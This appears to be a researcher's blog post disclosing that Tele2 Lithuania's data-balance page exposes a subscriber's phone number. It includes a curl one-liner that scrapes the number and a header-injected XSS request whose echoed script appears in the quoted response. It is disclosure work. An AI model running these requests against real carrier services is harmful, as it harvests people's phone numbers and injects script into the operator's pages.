Tele2 is leaking our phone numbers (Lithuania)

Quick story

About a year ago I had found this design feature.

If you go to while on mobile data it displays how much mobile data you have left and most importantly your own phone number.

After a scandal by another security researcher from Lithuania.
Tele2 and most other providers fixed this design feature (they even replaced the large part of the phone number inside

But the funny thing is that they reverted this fix and the phone number is being displayed like it always has been.

Phone number in the top right corner

How is this an issue?

From personal data mining scenarios to phishing.

Well any application running on your phone or anything else connected to your hotspot can get your phone number.

Simple demo

A simple POSIX Shell one-liner.

curl -s -L -b none '' | grep -Po '<p>\K[[:digit:]]*' | sed 's/^/+370/'
$ ./

Bonus content

Well if you access that same site while on Wi-Fi.
You can cause XSS via HTTP Request Header manipulation.

curl -s -L -H 'X-Tele2-Subid: <script>alert("XSS");</script>' ''
<!-- Content-->
<div class="main">
    <div class="alert">
        Jūs esate prisijungę prie WIFI ryšio (IP <script>alert("XSS");</script>). Šis puslapis veikia naudojantis tik TELE2 mobiliuoju internetu.&nbsp;<br />
Išjunkite WIFI ir perkraukite puslapį.&nbsp;Naršymas nemokamas.

Fairly useless XSS

It is a low risk XSS (and basically useless) but whatever it’s still funny.